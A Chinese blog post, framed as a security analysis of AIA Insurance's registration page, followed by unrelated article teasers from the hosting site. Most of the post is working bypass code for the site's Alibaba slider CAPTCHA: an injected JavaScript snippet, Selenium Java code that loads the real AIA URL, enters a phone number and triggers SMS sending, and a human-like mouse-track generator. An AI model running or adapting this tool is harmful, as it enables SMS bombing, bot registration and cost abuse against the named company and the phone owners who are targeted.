【友邦保險-注冊安全分析報告】

前言

由于網站注冊入口容易被黑客攻擊,存在如下安全問題:

  1. 暴力破解密碼,造成用戶信息泄露
  2. 短信盜刷的安全問題,影響業務及導致用戶投訴
  3. 帶來經濟損失,尤其是后付費客戶,風險巨大,造成虧損無底洞
    在這里插入圖片描述
    所以大部分網站及App 都采取圖形驗證碼或滑動驗證碼等交互解決方案, 但在機器學習能力提高的當下,連百度這樣的大廠都遭受攻擊導致點名批評, 圖形驗證及交互驗證方式的安全性到底如何? 請看具體分析

一、 友邦保險PC 注冊入口

簡介:友邦保險控股有限公司及其附屬公司(統稱“友邦保險”或“本集團”)是在香港聯合交易所上市的人壽保險集團,覆蓋亞太區內18個市場, 包括在中國內地、中國香港特別行政區、泰國、新加坡、馬來西亞、澳洲、柬埔寨、印度尼西亞、緬甸、菲律賓、韓國、斯里蘭卡、中國臺灣、越南、文萊、中華人民共和國澳門特別行政區和新西蘭擁有全資的分公司及附屬公司,以及印度合資公司的49%權益。此外,友邦保險持有中郵人壽保險股份有限公司24.99%股權。

在這里插入圖片描述

二、 安全性分析報告:

友邦保險采用的是阿里的滑動條,
阿里的滑動條設計高度重視用戶體驗,但安全方面存在一定的設計缺陷,前端將密鑰顯示出來,造成一定程度的安全漏洞,上報后并未引起重視,漏洞依據存在。
在這里插入圖片描述

在這里插入圖片描述

三、 測試方法:

前端界面分析,這是阿里的滑動條,網上有一些的教學視頻,但形式都差不多,
阿里的滑動條有點像程咬金的三板斧,
1 檢測是否是 webdriver (有專門的文章怎么過檢)
2 滑動條檢測
在這里插入圖片描述

滑動條在頁面嵌JS 就能過去 
<script>(function () {'use strict';/*** 休眠* [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠時間,單位秒* @param desc* @returns {Promise<unknown>}*/function sleep(time, desc) {return new Promise(resolve => {//sleepsetTimeout(() => {console.log(desc, time, 's')resolve(time)}, Math.floor(time * 1000))})}/*** 監測節點是否存在* @param selector    CSS選擇器* @param desc* @returns {Promise<unknown>}*/function obsHas(selector, desc) {return new Promise(resolve => {//obs nodelet timer = setInterval(() => {let target = document.querySelector(selector)if (!!target) {clearInterval(timer)console.log(desc, selector)resolve(selector)} else {return}}, 100)})}function slide(id) {var slider = document.getElementById(id),container = slider.parentNode;var rect = slider.getBoundingClientRect(),x0 = rect.x || rect.left,y0 = rect.y || rect.top,w = container.getBoundingClientRect().width,x1 = x0 + w,y1 = y0;var mousedown = document.createEvent("MouseEvents");mousedown.initMouseEvent("mousedown", true, true, window, 0,x0, y0, x0, y0, false, false, false, false, 0, null);slider.dispatchEvent(mousedown);var mousemove = document.createEvent("MouseEvents");mousemove.initMouseEvent("mousemove", true, true, window, 0,x1, y1, x1, y1, false, false, false, false, 0, null);slider.dispatchEvent(mousemove);}sleep(1,'sleep').then(() => obsHas('.nc_wrapper','has')).then(() => slide('nc_1_n1z'))
})();</script>

1. 模擬器交互


private final String INDEX_URL = "https://e.aia.com.cn/estore/jsp/index.jsp#";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);driver.manage().window().maximize(); // 設置瀏覽器窗口最大化Thread.sleep(1 * 1000);// 點擊注冊By logBy = By.className("register");WebElement logElemet = ChromeDriverManager.waitElement(driver, logBy, 10);logElemet.click();Thread.sleep(3 * 1000);// 輸入手機號By phoneBy = By.xpath("//input[@class='cls_input aia_input telephone']");WebElement phoneElemet = driver.findElement(phoneBy);phoneElemet.sendKeys(phone);boolean aliRet = AliClient.moveExec(driver, 260);if (!aliRet) {return retEntity;}WebElement sendElement = driver.findElement(By.id("register_countdowntime"));sendElement.click();Thread.sleep(1 * 1000);String msg = sendElement.getText();retEntity.setMsg(msg);if (msg != null && msg.contains("重新發送")) {retEntity.setRet(0);} else {System.out.println("msg=" + msg);}return retEntity;} catch (Exception e) {retEntity.setRet(-1);retEntity.setMsg(e.toString());return retEntity;}}

2. 模擬鼠標移動


public static boolean moveExec(WebDriver driver, String moveId, int distance) {try {// 獲取滑動按鈕WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);Actions actions = new Actions(driver);actions.moveToElement(moveElemet).perform();Thread.sleep(500);List<Integer> trackList = ActionMove.getTrack(distance);actions.clickAndHold(moveElemet).perform();// 按住鼠標左鍵不釋放for (Integer moveInt : trackList) {actions.moveByOffset(moveInt, 0).perform();// 移動}actions.release(moveElemet).perform();// 釋放鼠標左鍵// 滑動結果By langCntBy = By.className("nc-lang-cnt");WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;if (langCntInfo != null && langCntInfo.contains("驗證通過")) {return true;} else {System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);return false;}} catch (Exception e) {System.out.println("AliClient.moveExec() e=" + e.toString());return false;}}

3. 軌跡生成(單軸通過)


/*** 根據距離獲取滑動軌跡* * @param distance需要移動的距離* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移動軌跡List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 雙軸軌道生成算法,主要實現平滑加速和減速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移動軌跡try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已經移動的距離BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 減速閾值BigDecimal move = null;// 每次循環移動的距離List<Integer[]> subList = new ArrayList<Integer[]>();// 移動軌跡boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}

4. 測試返回結果:

在這里插入圖片描述

四丶結語

友邦保險作為全球性的國際化保險機構,可謂是實力雄厚,但在驗證產品方面,不是自己研發而是采用第三方的阿里的滑動條, 阿里的產品由于過度重視用戶體驗, 簡單的滑動條特別,模擬器只需要單軸的模擬軌道就可以通過, 說明阿里對軌跡的校驗比較寬松,之前的分析顯示,阿里主要是靠模擬器識別,如果這道關過了,就沒有其它的防護措施了 。

很多人在短信服務剛開始建設的階段,可能不會在安全方面考慮太多,理由有很多。
比如:“ 需求這么趕,當然是先實現功能啊 ”,“ 業務量很小啦,系統就這么點人用,不怕的 ” , “ 我們怎么會被盯上呢,不可能的 ”等等。

有一些理由雖然有道理,但是該來的總是會來的。前期欠下來的債,總是要還的。越早還,問題就越小,損失就越低。

所以大家在安全方面還是要重視。(血淋淋的栗子!)#安全短信#

戳這里→康康你手機號在過多少網站注冊過!!!

谷歌圖形驗證碼在AI 面前已經形同虛設,所以谷歌宣布退出驗證碼服務, 那么當所有的圖形驗證碼都被破解時,大家又該如何做好防御呢?

>>相關閱讀
《騰訊防水墻滑動拼圖驗證碼》
《百度旋轉圖片驗證碼》
《網易易盾滑動拼圖驗證碼》
《頂象區域面積點選驗證碼》
《頂象滑動拼圖驗證碼》
《極驗滑動拼圖驗證碼》
《使用深度學習來破解 captcha 驗證碼》
《驗證碼終結者-基于CNN+BLSTM+CTC的訓練部署套件》

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/42256.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/42256.shtml
英文地址,請注明出處:http://en.pswp.cn/web/42256.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

華為od相關信息分享

2024年OD統一考試&#xff08;D卷&#xff09;完整題庫&#xff1a;華為OD機試2024年最新題庫&#xff08;Python、JAVA、C合集&#xff09; 問 1.什么是華為od&#xff1f; 答&#xff1a;OD全稱是Outsourcing Dispacth&#xff0c;即外包派遣&#xff0c;是華為和外企德科…

金蝶云蒼穹-插件開發(三)關于基礎資料/單據實體的id

基礎資料/單據實體的id 每個基礎資料和單據的實體&#xff0c;都有一個id字段&#xff0c;這個id是其一個唯一性標識&#xff0c;就類似于這個實體的身份證號一樣。通常&#xff0c;這個id用來找到指定的實體。這個id在代碼中都是long類型接收的。 如果基礎資料/單據里面有字…

Kafka日志處理:深入了解偏移量查找與切分文件

我是小米,一個喜歡分享技術的29歲程序員。如果你喜歡我的文章,歡迎關注我的微信公眾號“軟件求生”,獲取更多技術干貨! Hello, 大家好!我是你們的技術小伙伴小米,今天要和大家分享一些關于Kafka日志處理的深入知識。我們將討論如何查看偏移量為23的消息,以及Kafka日志分…

重載、覆蓋(重寫)、重定義(同名隱藏)的區別 (超詳解)

&#x1f4da; 重載&#xff08;Overloading&#xff09;、覆蓋&#xff08;Overriding&#xff09;、重定義&#xff08;Hiding&#xff09;是面向對象編程中常見的概念&#xff0c;它們分別用于描述不同情況下函數或方法的行為。 目錄 重載&#xff08;Overloading&#xff…

ST7789 linux4.x驅動

文章目錄 ST7789 linux4.x驅動設備樹配置驅動程序編譯驅動測試驅動 ST7789 linux4.x驅動 設備樹配置 pinctrl_ecspi2_cs_1: ecspi2_cs_grp-1 {fsl,pins <MX6UL_PAD_CSI_DATA01__GPIO4_IO22 0x40017059>; };pinctrl_ecspi2_1: escpi2grp {fsl,pins <MX6UL_PAD_CSI_…

RocketMQ快速入門:主從、集群模式原理及搭建實操(十一)

目錄 0. 引言1. 前備知識1.1 namesrv集群模式1.2 broker集群模式1.2 broker主從復制原理 2. 集群部署2.1 環境準備2.2 配置講解2.3 一主多從模式部署2.4 多主無從模式部署2.5 多主多從模式部署 3. 總結 0. 引言 在學習完rocketmq的基礎知識后&#xff0c;我們進入rocketmq高可…

痙攣性斜頸對生活有哪些影響?

痙攣性斜頸&#xff0c;這個名字聽起來可能并不熟悉&#xff0c;但它實際上是一種神經系統疾病&#xff0c;影響著全球數百萬人的生活質量。它以一種無法控制的方式&#xff0c;使患者的頸部肌肉發生不自主的收縮&#xff0c;導致頭部姿勢異常。對于患者來說&#xff0c;痙攣性…

和Bug較勁的第n天:[Error: Unable to open snapshot file: No such file or directory]

問題描述 最近做了一個小demo&#xff0c;基于parcel的&#xff0c;在遷移倉庫的時候發生了一個報錯 [Error: Unable to open snapshot file: No such file or directory] 原因分析&#xff1a; 在遷移倉庫的時候&#xff0c;我將項目放入了一個以中文命名的文件夾里&#xf…

模電基礎 - 信號的運算和處理

目錄 一. 簡介 二. 加法 三. 減法 四. 乘法 五. 除法 六. 總結 一. 簡介 在模電基礎中&#xff0c;信號的運算和處理是非常重要的內容。 信號的運算包括加法、減法、乘法、除法等。通過使用集成運放&#xff0c;可以很容易地實現這些運算。例如&#xff0c;利用反相輸入…

算法的幾種常見形式

算法&#xff08;Algorithm&#xff09; 算法&#xff08;Algorithm&#xff09;是指解決問題或完成任務的一系列明確的步驟或規則。在計算機科學中&#xff0c;算法是程序的核心部分&#xff0c;它定義了如何執行特定的任務或解決特定的問題。算法可以用多種方式來表示和實現…

宜春旅游集散中心展廳OLED透明屏方案設計

一、項目概述 為提升宜春旅游集散中心展廳的現代化展示水平&#xff0c;增強游客的參觀體驗&#xff0c;我們計劃在展廳的核心區域引入OLED透明屏技術。該方案旨在通過高科技的視覺呈現方式&#xff0c;將展品信息以虛擬與現實相結合的方式展現&#xff0c;打造出一個既具科技感…

谷粒商城學習筆記-22-分布式組件-SpringCloud-OpenFeign測試遠程調用

文章目錄 一&#xff0c;OpenFeign的簡介二&#xff0c;OpenFeign的使用步驟1&#xff0c;場景說明2&#xff0c;引入依賴2&#xff0c;開啟OpenFeign3&#xff0c;編寫Feign接口4&#xff0c;使用feign調用遠程接口5&#xff0c;驗證 錯誤記錄 上一節學習了注冊中心&#xff0…

鼠標錄制工具|鍵鼠軌跡錄制,實現自動辦公

利用鍵鼠錄制工具錄制固定的鼠標點擊、鍵盤輸入等操作&#xff0c;實現自動化執行固定操作&#xff0c;節省時間。鼠標錄制功能可以錄制多步驟的操作&#xff0c;將錄制的動作保存并命名&#xff0c;甚至可以編輯操作速度。下面將演示幾種生活中常見的案例&#xff0c;詳細講解…

企業微信hook接口協議,移除群成員通知

移除群成員通知 返回示例 {"flag": 0, "receiver": 0, "sender_name": "", "is_room": 1, "server_id": 15318083, "send_time": 1687688952, "sender": 1688855749266556, "referid&…

k8s中使用cert-manager生成自簽名證書

一、安裝 cert-manager 注意查看cert-manager和K8S支持的對應版本 我的 k8sv1.28.2&#xff0c;cert-manager v1.12.11 下載 cert-manager.yaml 文件&#xff0c;執行 kubectl apply -f cert-manager.yaml二、生成自簽名證書 cert-selfsigned.yaml apiVersion: cert-manage…

【SpringBoot】隨機鹽值+雙重SHA256加密實戰

目錄&#xff1a; 1.SHA-256和隨機鹽值 2.前端實現 3.后端實現 1.SHA-256和Salt 1.1.什么是SHA-256 SHA-256是一種信息摘要算法&#xff0c;也是一種密碼散列函數。對于任意長度的消息&#xff0c;SHA256都會產生一個256bit長的散列值&#xff08;哈希值&#xff09;&…

插件更新了!

最近花了點時間&#xff0c;給網頁插件添加了新功能&#xff0c;下面簡單給大家介紹一下如何使用 我們安裝好插件后&#xff0c;進入網頁就可以看到一個帶logo的按鈕了&#xff0c;我們可以點一下就可以跳出快捷操作 不同頁面點擊會出現不同的功能&#xff0c;大家可以根據自己…

dy商品評論采集

摘要 本文將詳細介紹如何通過抖音商品評論采集來獲取精準的用戶反饋&#xff0c;從而優化產品和營銷策略。通過這個指南&#xff0c;您將學會如何設置評論采集系統&#xff0c;分析用戶評論數據&#xff0c;以及如何利用這些數據來吸引更多粉絲&#xff0c;增加商品銷量。 返…

跨境傳輸需要遵守哪些準則,如何做到有效管控?

在全球化的商業環境中&#xff0c;跨國企業面臨著數據跨境傳輸的挑戰。隨著業務的擴展&#xff0c;企業需要在不同國家和地區之間高效、安全地傳輸大量數據。選擇合適的跨境傳輸方案對于保障數據安全、提高業務效率、遵守法律法規至關重要。 跨境傳輸數據需要遵守的準則和規定主…

Nginx:關于實現跨域代理

運維專題 Nginx&#xff1a;關于實現跨域代理 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.ne…